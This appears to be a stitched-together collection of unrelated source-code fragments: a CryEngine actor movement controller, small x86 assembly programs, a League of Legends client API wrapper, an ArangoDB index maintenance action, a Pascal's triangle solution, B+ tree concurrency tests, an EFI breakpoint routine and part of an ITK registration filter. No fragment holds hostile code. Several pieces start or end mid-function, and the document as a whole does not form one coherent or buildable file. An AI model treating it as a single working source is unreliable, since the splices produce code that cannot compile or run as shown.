m_movementRequest.len() > FLT_EPSILON)) { Ang3 facingDir; if (pPlayer->IsViewFirstPerson()) facingDir = CCamera::CreateAnglesYPR(Matrix33(m_lookOrientation)); else facingDir = CCamera::CreateAnglesYPR(m_movementRequest.GetNormalizedFast()); // Use their last orientation as their present direction. // NOTE: I tried it with GetEntity()->GetWorldTM() but that caused crazy jitter issues. Ang3 ypr = CCamera::CreateAnglesYPR(Matrix33(m_lookOrientation)); // We add in some extra rotation to 'catch up' to the direction they are being moved. This will perform a gradual // turn on the actor over several frames. float rotationDelta {0.0f}; if (std::abs(facingDir.x - ypr.x) > g_PI) rotationDelta = ypr.x - facingDir.x; else rotationDelta = facingDir.x - ypr.x; // Catchup allows us to step towards the goal direction in even steps using a set angular velocity. float catchUp {0.0f}; if (std::abs(rotationDelta) > FLT_EPSILON) { if (rotationDelta > 0.0f) catchUp = std::min(rotationDelta, catchupSpeed * frameTime); else catchUp = std::max(rotationDelta, -catchupSpeed * frameTime); } // Update angular velocity metrics. m_yawAngularVelocity = CLAMP(pPlayerInput->GetMouseYawDelta() + catchUp, -angularVelocityMax * frameTime, angularVelocityMax * frameTime); // Yaw. ypr.x += m_yawAngularVelocity; // Roll (zero it). ypr.z = 0; // Update the preferred direction we face. m_lookOrientation = Quat(CCamera::CreateOrientationYPR(ypr)); } } } void CActorControllerComponent::UpdateAnimation(float frameTime) { if (auto* pPlayer = m_pActorComponent->GetPlayer()) { // Radians / sec const float angularVelocityMin = 0.174f; // Update tags and motion parameters used for turning const bool isTurning = std::abs(m_yawAngularVelocity) > angularVelocityMin; // Resolve the animation tags. // HACK: This should be done once on init or on entity changed events or similar. It fails hard if the init order // is switched with CActorAnimationComponent. if ((m_rotateTagId == TAG_ID_INVALID) && (strlen(m_pActorAnimationComponent->GetControllerDefinitionFile()) > 0)) m_rotateTagId = m_pActorAnimationComponent->GetTagId("Rotate"); // Set the tag, if it exists. if (m_rotateTagId != TAG_ID_INVALID) m_pActorAnimationComponent->SetTagWithId(m_rotateTagId, isTurning); if (isTurning) { // Expect the turning motion to take approximately one second. // TODO: Get to work on making this happen more like Blade and Soul. const float turnDuration = 1.0f; m_pActorAnimationComponent->SetMotionParameter(eMotionParamID_TurnAngle, m_yawAngularVelocity * turnDuration); } // Update entity rotation as the player turns. We only want to affect Z-axis rotation, zero pitch and roll. // TODO: is there a case where we want to avoid zeroing out pitch and roll? Ang3 ypr = CCamera::CreateAnglesYPR(Matrix33(m_lookOrientation)); ypr.y = 0; ypr.z = 0; const Quat correctedOrientation = Quat(CCamera::CreateOrientationYPR(ypr)); // Send updated transform to the entity, only orientation changes. GetEntity()->SetPosRotScale(GetEntity()->GetWorldPos(), correctedOrientation, Vec3(1, 1, 1)); } } float CActorControllerComponent::GetMovementBaseSpeed(TInputFlags movementDirectionFlags) const { const static float walkBaseSpeed {2.1f}; const static float jogBaseSpeed {4.2f}; const static float runBaseSpeed {6.3f}; const static float crawlBaseSpeed {1.2f}; const static float proneBaseSpeed {0.4f}; const static float crouchBaseSpeed {1.2f}; float baseSpeed {0.0f}; float dirScale {1.0f}; switch (GetStance()) { case EActorStance::eAS_Standing: // Work out a base for walking, jogging or sprinting. if (IsSprinting()) { baseSpeed = runBaseSpeed; } else { if (IsJogging()) baseSpeed = jogBaseSpeed; else baseSpeed = walkBaseSpeed; } break; case EActorStance::eAS_Crawling: baseSpeed = crawlBaseSpeed; break; case EActorStance::eAS_Prone: baseSpeed = proneBaseSpeed; break; case EActorStance::eAS_Crouching: baseSpeed = crouchBaseSpeed; break; case EActorStance::eAS_Swimming: baseSpeed = walkBaseSpeed; break; case EActorStance::eAS_Flying: baseSpeed = jogBaseSpeed; break; case EActorStance::eAS_Spellcasting: baseSpeed = walkBaseSpeed; break; default: // Don't let them control movement. baseSpeed = 0.0f; break; } // Scale it based on their movement direction. switch (movementDirectionFlags) { case (TInputFlags)EInputFlag::Forward: dirScale = 1.0f; break; case ((TInputFlags)EInputFlag::Forward | (TInputFlags)EInputFlag::Right): dirScale = 0.9f; break; case ((TInputFlags)EInputFlag::Forward | (TInputFlags)EInputFlag::Left): dirScale = 0.9f; break; case (TInputFlags)EInputFlag::Right: dirScale = 0.85f; break; case (TInputFlags)EInputFlag::Left: dirScale = 0.85f; break; case (TInputFlags)EInputFlag::Backward: dirScale = 0.71f; break; case ((TInputFlags)EInputFlag::Backward | (TInputFlags)EInputFlag::Right): dirScale = 0.71f; break; case ((TInputFlags)EInputFlag::Backward | (TInputFlags)EInputFlag::Left): dirScale = 0.71f; break; default: dirScale = 0.0f; break; } return baseSpeed * dirScale; } // TODO: So wrong in every way. Need some more state checking before deciding which stance to move to when exiting // crouching, though this is a pretty decent default. Needs checks to ensure you can't crouch while swimming / falling / // etc - maybe put this into the class itself? void CActorControllerComponent::OnActionCrouchToggle() { if (GetStance() == EActorStance::eAS_Crouching) SetStance(EActorStance::eAS_Standing); else SetStance(EActorStance::eAS_Crouching); } void CActorControllerComponent::OnActionCrawlToggle() { if (GetStance() == EActorStance::eAS_Crawling) SetStance(EActorStance::eAS_Standing); else SetStance(EActorStance::eAS_Crawling); } void CActorControllerComponent::OnActionKneelToggle() { if (GetStance() == EActorStance::eAS_Kneeling) SetStance(EActorStance::eAS_Standing); else SetStance(EActorStance::eAS_Kneeling); } void CActorControllerComponent::OnActionSitToggle() { if (GetStance() == EActorStance::eAS_SittingFloor) SetStance(EActorStance::eAS_Standing); else SetStance(EActorStance::eAS_SittingFloor); } CRY_STATIC_AUTO_REGISTER_FUNCTION(&RegisterActorControllerComponent) }
.text .global _main _main: xorq %rax, %rax movq $2, %rbx outer: movq $3, %rcx inner: incq %rax decq %rcx cmpq $0, %rcx jne inner decq %rbx cmpq $0, %rbx jne outer movq $60, %rax xorq %rdi, %rdi syscall .end
#pragma once #include "../base_op.hpp" #include <functional> namespace lol { template<typename T> inline Result<json> DeleteLolLobbyTeamBuilderV1MatchmakingSearch(T& _client) { try { return ToResult<json>(_client.https.request("delete", "/lol-lobby-team-builder/v1/matchmaking/search?" + SimpleWeb::QueryString::create(Args2Headers({ })), "", Args2Headers({ {"Authorization", _client.auth}, }))); } catch(const SimpleWeb::system_error &e) { return ToResult<json>(e.code()); } } template<typename T> inline void DeleteLolLobbyTeamBuilderV1MatchmakingSearch(T& _client, std::function<void(T&, const Result<json>&)> cb) { _client.httpsa.request("delete", "/lol-lobby-team-builder/v1/matchmaking/search?" + SimpleWeb::QueryString::create(Args2Headers({ })), "", Args2Headers({ {"Authorization", _client.auth}, }),[cb,&_client](std::shared_ptr<HttpsClient::Response> response, const SimpleWeb::error_code &e) { if(e) cb(_client, ToResult<json>(e)); else cb(_client, ToResult<json>(response)); }); } }
//////////////////////////////////////////////////////////////////////////////// /// DISCLAIMER /// /// Copyright 2014-2018 ArangoDB GmbH, Cologne, Germany /// Copyright 2004-2014 triAGENS GmbH, Cologne, Germany /// /// Licensed under the Apache License, Version 2.0 (the "License"); /// you may not use this file except in compliance with the License. /// You may obtain a copy of the License at /// /// http://www.apache.org/licenses/LICENSE-2.0 /// /// Unless required by applicable law or agreed to in writing, software /// distributed under the License is distributed on an "AS IS" BASIS, /// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. /// See the License for the specific language governing permissions and /// limitations under the License. /// /// Copyright holder is ArangoDB GmbH, Cologne, Germany /// /// @author Kaveh Vahedipour /// @author Matthew Von-Maszewski //////////////////////////////////////////////////////////////////////////////// #include <velocypack/Iterator.h> #include "EnsureIndex.h" #include "ApplicationFeatures/ApplicationServer.h" #include "Basics/StaticStrings.h" #include "Basics/VelocyPackHelper.h" #include "Cluster/ClusterFeature.h" #include "Cluster/MaintenanceFeature.h" #include "Logger/LogMacros.h" #include "Logger/Logger.h" #include "Logger/LoggerStream.h" #include "Utils/DatabaseGuard.h" #include "VocBase/Methods/Collections.h" #include "VocBase/Methods/Databases.h" #include "VocBase/Methods/Indexes.h" using namespace arangodb; using namespace arangodb::application_features; using namespace arangodb::maintenance; using namespace arangodb::methods; EnsureIndex::EnsureIndex(MaintenanceFeature& feature, ActionDescription const& desc) : ActionBase(feature, desc) { std::stringstream error; if (!desc.has(DATABASE)) { error << "database must be specified. "; } TRI_ASSERT(desc.has(DATABASE)); if (!desc.has(COLLECTION)) { error << "cluster-wide collection must be specified. "; } TRI_ASSERT(desc.has(COLLECTION)); if (!desc.has(SHARD)) { error << "shard must be specified. "; } TRI_ASSERT(desc.has(SHARD)); if (!properties().hasKey(ID)) { error << "index properties must include id. "; } TRI_ASSERT(properties().hasKey(ID)); if (!desc.has(StaticStrings::IndexType)) { error << "index type must be specified - discriminatory. "; } TRI_ASSERT(desc.has(StaticStrings::IndexType)); if (!desc.has(FIELDS)) { error << "index fields must be specified - discriminatory. "; } TRI_ASSERT(desc.has(FIELDS)); if (!error.str().empty()) { LOG_TOPIC("8473a", ERR, Logger::MAINTENANCE) << "EnsureIndex: " << error.str(); _result.reset(TRI_ERROR_INTERNAL, error.str()); setState(FAILED); } } EnsureIndex::~EnsureIndex() = default; bool EnsureIndex::first() { arangodb::Result res; auto const& database = _description.get(DATABASE); auto const& collection = _description.get(COLLECTION); auto const& shard = _description.get(SHARD); auto const& id = properties().get(ID).copyString(); VPackBuilder body; try { // now try to guard the database DatabaseGuard guard(database); auto vocbase = &guard.database(); auto col = vocbase->lookupCollection(shard); if (col == nullptr) { std::stringstream error; error << "failed to lookup local collection " << shard << " in database " + database; LOG_TOPIC("12767", ERR, Logger::MAINTENANCE) << "EnsureIndex: " << error.str(); _result.reset(TRI_ERROR_ARANGO_DATA_SOURCE_NOT_FOUND, error.str()); return false; } auto const props = properties(); { VPackObjectBuilder b(&body); body.add(COLLECTION, VPackValue(shard)); body.add(VPackObjectIterator(props)); } VPackBuilder index; _result = methods::Indexes::ensureIndex(col.get(), body.slice(), true, index); if (_result.ok()) { VPackSlice created = index.slice().get("isNewlyCreated"); std::string log = std::string("Index ") + id; log += (created.isBool() && created.getBool() ? std::string(" created") : std::string(" updated")); LOG_TOPIC("6e2cd", DEBUG, Logger::MAINTENANCE) << log; } else { std::stringstream error; error << "failed to ensure index " << body.slice().toJson() << " " << _result.errorMessage(); LOG_TOPIC("bc555", ERR, Logger::MAINTENANCE) << "EnsureIndex: " << error.str(); VPackBuilder eb; { VPackObjectBuilder o(&eb); eb.add(StaticStrings::Error, VPackValue(true)); eb.add(StaticStrings::ErrorMessage, VPackValue(_result.errorMessage())); eb.add(StaticStrings::ErrorNum, VPackValue(_result.errorNumber())); eb.add(ID, VPackValue(id)); } LOG_TOPIC("397e2", DEBUG, Logger::MAINTENANCE) << "Reporting error " << eb.toJson(); // FIXMEMAINTENANCE: If this action is refused due to missing // components in description, no IndexError gets produced. But // then, if you are missing components, such as database name, will // you be able to produce an IndexError? _feature.storeIndexError(database, collection, shard, id, eb.steal()); _result.reset(TRI_ERROR_INTERNAL, error.str()); notify(); return false; } } catch (std::exception const& e) { // Guard failed? std::stringstream error; error << "action " << _description << " failed with exception " << e.what(); LOG_TOPIC("445e5", WARN, Logger::MAINTENANCE) << "EnsureIndex: " << error.str(); _result.reset(TRI_ERROR_INTERNAL, error.str()); return false; } notify(); return false; }
// Given numRows, generate the first numRows of Pascal's triangle. // // // For example, given numRows = 5, // Return // // [ // [1], // [1,1], // [1,2,1], // [1,3,3,1], // [1,4,6,4,1] // ] // // class Solution { public: vector<vector<int>> generate(int numRows) { vector<vector<int>> result(numRows); for(int i = 0; i < numRows; i++) { if(i == 0) result[i].push_back(1); else if(i == 1) { result[i].push_back(1); result[i].push_back(1); } else { result[i].push_back(1); // 上面一行的两个数加起来就是 for (int j = 1; j < i; j++) { result[i].push_back(result[i-1][j-1]+result[i-1][j]); } result[i].push_back(1); } } return result; } };
/** * b_plus_tree_test.cpp */ #include <algorithm> #include <chrono> #include <cstdio> #include <functional> #include <iostream> #include <thread> #include <random> #include "buffer/buffer_pool_manager.h" #include "common/logger.h" #include "index/b_plus_tree.h" #include "vtable/virtual_table.h" #include "gtest/gtest.h" namespace cmudb { // helper function to launch multiple threads template <typename... Args> void LaunchParallelTest(uint64_t num_threads, Args &&... args) { std::vector<std::thread> thread_group; // Launch a group of threads for (uint64_t thread_itr = 0; thread_itr < num_threads; ++thread_itr) { thread_group.push_back(std::thread(args..., thread_itr)); } // Join the threads with the main thread for (uint64_t thread_itr = 0; thread_itr < num_threads; ++thread_itr) { thread_group[thread_itr].join(); } } // helper function to insert void InsertHelper(BPlusTree<GenericKey<8>, RID, GenericComparator<8>> &tree, const std::vector<int64_t> &keys, __attribute__((unused)) uint64_t thread_itr = 0) { GenericKey<8> index_key; RID rid; // create transaction Transaction *transaction = new Transaction(0); for (auto key : keys) { int64_t value = key & 0xFFFFFFFF; rid.Set((int32_t)(key >> 32), value); index_key.SetFromInteger(key); tree.Insert(index_key, rid, transaction); } delete transaction; } // helper function to seperate insert void InsertHelperSplit( BPlusTree<GenericKey<8>, RID, GenericComparator<8>> &tree, const std::vector<int64_t> &keys, int total_threads, __attribute__((unused)) uint64_t thread_itr) { GenericKey<8> index_key; RID rid; // create transaction Transaction *transaction = new Transaction(0); for (auto key : keys) { if ((uint64_t)key % total_threads == thread_itr) { int64_t value = key & 0xFFFFFFFF; rid.Set((int32_t)(key >> 32), value); index_key.SetFromInteger(key); std::cout << "tid : " << std::this_thread::get_id() << " Inserting key :" << index_key << std::endl; tree.Insert(index_key, rid, transaction); } } delete transaction; } // helper function to delete void DeleteHelper(BPlusTree<GenericKey<8>, RID, GenericComparator<8>> &tree, const std::vector<int64_t> &remove_keys, __attribute__((unused)) uint64_t thread_itr = 0) { GenericKey<8> index_key; // create transaction Transaction *transaction = new Transaction(0); for (auto key : remove_keys) { index_key.SetFromInteger(key); tree.Remove(index_key, transaction); } delete transaction; } // helper function to seperate delete void DeleteHelperSplit( BPlusTree<GenericKey<8>, RID, GenericComparator<8>> &tree, const std::vector<int64_t> &remove_keys, int total_threads, __attribute__((unused)) uint64_t thread_itr) { GenericKey<8> index_key; // create transaction Transaction *transaction = new Transaction(0); for (auto key : remove_keys) { if ((uint64_t)key % total_threads == thread_itr) { index_key.SetFromInteger(key); tree.Remove(index_key, transaction); } } delete transaction; } // this test is commented because, assignment 2 specifies that the // bplus tree holds unique keys #if 0 TEST(BPlusTreeConcurrentTest, InsertTest1) { // create KeyComparator and index schema Schema *key_schema = ParseCreateStatement("a bigint"); GenericComparator<8> comparator(key_schema); BufferPoolManager *bpm = new BufferPoolManager(50, "test.db"); // create b+ tree BPlusTree<GenericKey<8>, RID, GenericComparator<8>> tree("foo_pk", bpm, comparator); // create and fetch header_page page_id_t page_id; auto header_page = bpm->NewPage(page_id); (void)header_page; // keys to Insert std::vector<int64_t> keys; int64_t scale_factor = 2; for (int64_t key = 1; key < scale_factor; key++) { keys.push_back(key); } LaunchParallelTest(2, InsertHelper, std::ref(tree), keys); std::vector<RID> rids; GenericKey<8> index_key; for (auto key : keys) { rids.clear(); index_key.SetFromInteger(key); tree.GetValue(index_key, rids); EXPECT_EQ(rids.size(), 1); int64_t value = key & 0xFFFFFFFF; EXPECT_EQ(rids[0].GetSlotNum(), value); } int64_t start_key = 1; int64_t current_key = start_key; index_key.SetFromInteger(start_key); for (auto iterator = tree.Begin(index_key); iterator.isEnd() == false; ++iterator) { auto location = (*iterator).second; EXPECT_EQ(location.GetPageId(), 0); EXPECT_EQ(location.GetSlotNum(), current_key); current_key = current_key + 1; } EXPECT_EQ(current_key, keys.size() + 1); bpm->UnpinPage(HEADER_PAGE_ID, true); delete bpm; remove("test.db"); } #endif TEST(BPlusTreeConcurrentTest, InsertTest2) { // create KeyComparator and index schema Schema *key_schema = ParseCreateStatement("a bigint"); GenericComparator<8> comparator(key_schema); DiskManager *disk_manager = new DiskManager("test.db"); BufferPoolManager *bpm = new BufferPoolManager(50, disk_manager); // create b+ tree BPlusTree<GenericKey<8>, RID, GenericComparator<8>> tree("foo_pk", bpm, comparator); // create and fetch header_page page_id_t page_id; auto header_page = bpm->NewPage(page_id); (void)header_page; // keys to Insert std::vector<int64_t> keys; int64_t scale_factor = 1000; for (int64_t key = 1; key < scale_factor; key++) { keys.push_back(key); } LaunchParallelTest(2, InsertHelperSplit, std::ref(tree), keys, 2); std::vector<RID> rids; GenericKey<8> index_key; for (auto key : keys) { rids.clear(); index_key.SetFromInteger(key); std::cout << "Getting value : " << index_key << std::endl; tree.GetValue(index_key, rids); EXPECT_EQ(rids.size(), 1); int64_t value = key & 0xFFFFFFFF; EXPECT_EQ(rids[0].GetSlotNum(), value); } std::cout << "location check" << std::endl; int64_t start_key = 1; int64_t current_key = start_key; index_key.SetFromInteger(start_key); for (auto iterator = tree.Begin(index_key); iterator.isEnd() == false; ++iterator) { auto location = (*iterator).second; EXPECT_EQ(location.GetPageId(), 0); EXPECT_EQ(location.GetSlotNum(), current_key); current_key = current_key + 1; } EXPECT_EQ(current_key, keys.size() + 1); bpm->UnpinPage(HEADER_PAGE_ID, true); delete bpm; remove("test.db"); } TEST(BPlusTreeConcurrentTest, DeleteTest1) { // create KeyComparator and index schema Schema *key_schema = ParseCreateStatement("a bigint"); GenericComparator<8> comparator(key_schema); DiskManager *disk_manager = new DiskManager("test.db"); BufferPoolManager *bpm = new BufferPoolManager(50, disk_manager); // create b+ tree BPlusTree<GenericKey<8>, RID, GenericComparator<8>> tree("foo_pk", bpm, comparator); GenericKey<8> index_key; RID rid; // create and fetch header_page page_id_t page_id; auto header_page = bpm->NewPage(page_id); (void)header_page; // sequential insert std::vector<int64_t> keys = {1, 2, 3, 4, 5}; InsertHelper(tree, keys); std::vector<int64_t> remove_keys = {1, 5, 3, 4}; LaunchParallelTest(2, DeleteHelper, std::ref(tree), remove_keys); int64_t start_key = 2; int64_t current_key = start_key; int64_t size = 0; index_key.SetFromInteger(start_key); for (auto iterator = tree.Begin(index_key); iterator.isEnd() == false; ++iterator) { auto location = (*iterator).second; EXPECT_EQ(location.GetPageId(), 0); EXPECT_EQ(location.GetSlotNum(), current_key); current_key = current_key + 1; size = size + 1; } EXPECT_EQ(size, 1); bpm->UnpinPage(HEADER_PAGE_ID, true); delete bpm; remove("test.db"); } TEST(BPlusTreeConcurrentTest, DeleteTest2) { // create KeyComparator and index schema Schema *key_schema = ParseCreateStatement("a bigint"); GenericComparator<8> comparator(key_schema); DiskManager *disk_manager = new DiskManager("test.db"); BufferPoolManager *bpm = new BufferPoolManager(50, disk_manager); // create b+ tree BPlusTree<GenericKey<8>, RID, GenericComparator<8>> tree("foo_pk", bpm, comparator); GenericKey<8> index_key; RID rid; // create and fetch header_page page_id_t page_id; auto header_page = bpm->NewPage(page_id); (void)header_page; // sequential insert std::vector<int64_t> keys = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15}; InsertHelper(tree, keys); std::vector<int64_t> remove_keys = {1, 4, 3, 2, 5, 6, 7, 8}; LaunchParallelTest(2, DeleteHelperSplit, std::ref(tree), remove_keys, 2); int64_t start_key = 9; int64_t current_key = start_key; int64_t size = 0; index_key.SetFromInteger(start_key); for (auto iterator = tree.Begin(index_key); iterator.isEnd() == false; ++iterator) { auto location = (*iterator).second; EXPECT_EQ(location.GetPageId(), 0); EXPECT_EQ(location.GetSlotNum(), current_key); current_key = current_key + 1; size = size + 1; } EXPECT_EQ(size, 7); bpm->UnpinPage(HEADER_PAGE_ID, true); delete bpm; remove("test.db"); } TEST(BPlusTreeConcurrentTest, DeleteTest3) { // create KeyComparator and index schema Schema *key_schema = ParseCreateStatement("a bigint"); GenericComparator<8> comparator(key_schema); DiskManager *disk_manager = new DiskManager("test.db"); BufferPoolManager *bpm = new BufferPoolManager(50, disk_manager); // create b+ tree BPlusTree<GenericKey<8>, RID, GenericComparator<8>> tree("foo_pk", bpm, comparator); GenericKey<8> index_key; RID rid; // create and fetch header_page page_id_t page_id; auto header_page = bpm->NewPage(page_id); (void)header_page; // sequential insert std::vector<int64_t> keys; int scale_factor = 1000; for (int i = 1; i <= scale_factor; i++) keys.push_back(i); InsertHelper(tree, keys); std::vector<int64_t> remove_keys; for (int i = 0; i <= (scale_factor - 20); i++) remove_keys.push_back(i); LaunchParallelTest(2, DeleteHelper, std::ref(tree), remove_keys); int64_t start_key = scale_factor - 20 + 1; int64_t current_key = start_key; int64_t size = 0; index_key.SetFromInteger(start_key); for (auto iterator = tree.Begin(index_key); iterator.isEnd() == false; ++iterator) { auto location = (*iterator).second; EXPECT_EQ(location.GetPageId(), 0); EXPECT_EQ(location.GetSlotNum(), current_key); current_key = current_key + 1; size = size + 1; } EXPECT_EQ(size, 20); bpm->UnpinPage(HEADER_PAGE_ID, true); delete bpm; remove("test.db"); } TEST(BPlusTreeConcurrentTest, DeleteTest4) { // create KeyComparator and index schema Schema *key_schema = ParseCreateStatement("a bigint"); GenericComparator<8> comparator(key_schema); DiskManager *disk_manager = new DiskManager("test.db"); BufferPoolManager *bpm = new BufferPoolManager(50, disk_manager); // create b+ tree BPlusTree<GenericKey<8>, RID, GenericComparator<8>> tree("foo_pk", bpm, comparator); GenericKey<8> index_key; RID rid; // create and fetch header_page page_id_t page_id; auto header_page = bpm->NewPage(page_id); (void)header_page; // sequential insert std::vector<int64_t> keys; int scale_factor = 15000; for (int i = 1; i <= scale_factor; i++) keys.push_back(i); InsertHelper(tree, keys); std::vector<int64_t> remove_keys; for (int i = 1; i <= (scale_factor - 20); i++) remove_keys.push_back(i); LaunchParallelTest(2, DeleteHelperSplit, std::ref(tree), remove_keys, 2); int64_t start_key = scale_factor - 20 + 1; int64_t current_key = start_key; int64_t size = 0; index_key.SetFromInteger(start_key); for (auto iterator = tree.Begin(index_key); iterator.isEnd() == false; ++iterator) { auto location = (*iterator).second; EXPECT_EQ(location.GetPageId(), 0); EXPECT_EQ(location.GetSlotNum(), current_key); current_key = current_key + 1; size = size + 1; } EXPECT_EQ(size, 20); bpm->UnpinPage(HEADER_PAGE_ID, true); delete bpm; remove("test.db"); } TEST(BPlusTreeConcurrentTest, DeleteTest5) { // create KeyComparator and index schema Schema *key_schema = ParseCreateStatement("a bigint"); GenericComparator<8> comparator(key_schema); DiskManager *disk_manager = new DiskManager("test.db"); BufferPoolManager *bpm = new BufferPoolManager(50, disk_manager); // create b+ tree BPlusTree<GenericKey<8>, RID, GenericComparator<8>> tree("foo_pk", bpm, comparator); GenericKey<8> index_key; RID rid; // create and fetch header_page page_id_t page_id; auto header_page = bpm->NewPage(page_id); (void)header_page; std::random_device rd; std::mt19937 g(rd()); // sequential insert std::vector<int64_t> keys; int scale_factor = 15000; for (int i = 1; i <= scale_factor; i++) keys.push_back(i); std::shuffle(begin(keys), end(keys), g); InsertHelper(tree, keys); std::vector<int64_t> remove_keys; for (int i = 1; i <= (scale_factor - 20); i++) remove_keys.push_back(i); LaunchParallelTest(2, DeleteHelperSplit, std::ref(tree), remove_keys, 2); int64_t start_key = scale_factor - 20 + 1; int64_t current_key = start_key; int64_t size = 0; index_key.SetFromInteger(start_key); for (auto iterator = tree.Begin(index_key); iterator.isEnd() == false; ++iterator) { auto location = (*iterator).second; EXPECT_EQ(location.GetPageId(), 0); EXPECT_EQ(location.GetSlotNum(), current_key); current_key = current_key + 1; size = size + 1; } EXPECT_EQ(size, 20); bpm->UnpinPage(HEADER_PAGE_ID, true); delete bpm; remove("test.db"); } TEST(BPlusTreeConcurrentTest, MixTest) { // create KeyComparator and index schema Schema *key_schema = ParseCreateStatement("a bigint"); GenericComparator<8> comparator(key_schema); DiskManager *disk_manager = new DiskManager("test.db"); BufferPoolManager *bpm = new BufferPoolManager(50, disk_manager); // create b+ tree BPlusTree<GenericKey<8>, RID, GenericComparator<8>> tree("foo_pk", bpm, comparator); GenericKey<8> index_key; RID rid; // create and fetch header_page page_id_t page_id; auto header_page = bpm->NewPage(page_id); (void)header_page; // first, populate index std::vector<int64_t> keys = {1, 2, 3, 4, 5}; InsertHelper(tree, keys); // concurrent insert keys.clear(); for (int i = 6; i <= 10; i++) keys.push_back(i); LaunchParallelTest(1, InsertHelper, std::ref(tree), keys); // concurrent delete std::vector<int64_t> remove_keys = {1, 4, 3, 5, 6}; LaunchParallelTest(1, DeleteHelper, std::ref(tree), remove_keys); int64_t start_key = 2; int64_t size = 0; index_key.SetFromInteger(start_key); for (auto iterator = tree.Begin(index_key); iterator.isEnd() == false; ++iterator) { size = size + 1; } EXPECT_EQ(size, 5); bpm->UnpinPage(HEADER_PAGE_ID, true); delete bpm; remove("test.db"); } } // namespace cmudb
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; CpuBreakpoint.Asm ; ; Abstract: ; ; CpuBreakpoint function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; CpuBreakpoint ( ; VOID ; ); ;------------------------------------------------------------------------------ CpuBreakpoint PROC int 3 ret CpuBreakpoint ENDP END
; A094979: Duplicate of A065565. ; 1,1,1,1,2,3,3,4,5,7,9,11,14,18,22,28,35,44,55,69,86,108,135,169,211 mov $1,5 pow $1,$0 lpb $0 sub $0,1 div $1,4 lpe
/*========================================================================= * * Copyright Insight Software Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *=========================================================================*/ #ifndef itkPDEDeformableRegistrationFilter_hxx #define itkPDEDeformableRegistrationFilter_hxx #include "itkPDEDeformableRegistrationFilter.h" #include "itkImageRegionIterator.h" #include "itkImageLinearIteratorWithIndex.h" #include "itkDataObject.h" #include "itkGaussianOperator.h" #include "itkVectorNeighborhoodOperatorImageFilter.h" #include "itkMath.h" #include "itkMath.h" namespace itk { /** * Default constructor */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::PDEDeformableRegistrationFilter() { this->SetNumberOfRequiredInputs(2); // Primary input is optional in this filter this->RemoveRequiredInputName( "Primary" ); this->SetNumberOfIterations(10); unsigned int j; for ( j = 0; j < ImageDimension; j++ ) { m_StandardDeviations[j] = 1.0; m_UpdateFieldStandardDeviations[j] = 1.0; } m_TempField = DisplacementFieldType::New(); m_MaximumError = 0.1; m_MaximumKernelWidth = 30; m_StopRegistrationFlag = false; m_SmoothDisplacementField = true; m_SmoothUpdateField = false; } /* * Set the fixed image. */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::SetFixedImage( const FixedImageType *ptr) { this->ProcessObject::SetNthInput( 1, const_cast< FixedImageType * >( ptr ) ); } /* * Get the fixed image. */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > const typename PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::FixedImageType * PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::GetFixedImage() const { return dynamic_cast< const FixedImageType * > ( this->ProcessObject::GetInput(1) ); } /* * Set the moving image. */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::SetMovingImage( const MovingImageType *ptr) { this->ProcessObject::SetNthInput( 2, const_cast< MovingImageType * >( ptr ) ); } /* * Get the moving image. */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > const typename PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::MovingImageType * PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::GetMovingImage() const { return dynamic_cast< const MovingImageType * > ( this->ProcessObject::GetInput(2) ); } /* * */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > std::vector< SmartPointer< DataObject > >::size_type PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::GetNumberOfValidRequiredInputs() const { typename std::vector< SmartPointer< DataObject > >::size_type num = 0; if ( this->GetFixedImage() ) { num++; } if ( this->GetMovingImage() ) { num++; } return num; } /** * Set the standard deviations. */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::SetStandardDeviations( double value) { unsigned int j; for ( j = 0; j < ImageDimension; j++ ) { if ( Math::NotExactlyEquals(value, m_StandardDeviations[j]) ) { break; } } if ( j < ImageDimension ) { this->Modified(); for ( j = 0; j < ImageDimension; j++ ) { m_StandardDeviations[j] = value; } } } /* * Set the standard deviations. */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void PDEDeformableRegistrationFilter< TFixedImage, TMovingImage, TDisplacementField > ::SetUpdateFieldStandardDeviations( double value) { unsigned int j; for ( j = 0; j < ImageDimension; j++ ) { if ( Math::NotExactlyEquals(value, m_UpdateFieldStandardDeviations[j]) ) { break; } } if ( j < ImageDimension ) { this->Modified(); for ( j = 0; j < ImageDimension; j++ ) { m_UpdateFieldStandardDeviations[j] = value; } } } /* * Standard PrintSelf method. */ template< typename TFixedImage, typename TMovingImage, typename TDisplacementField > void 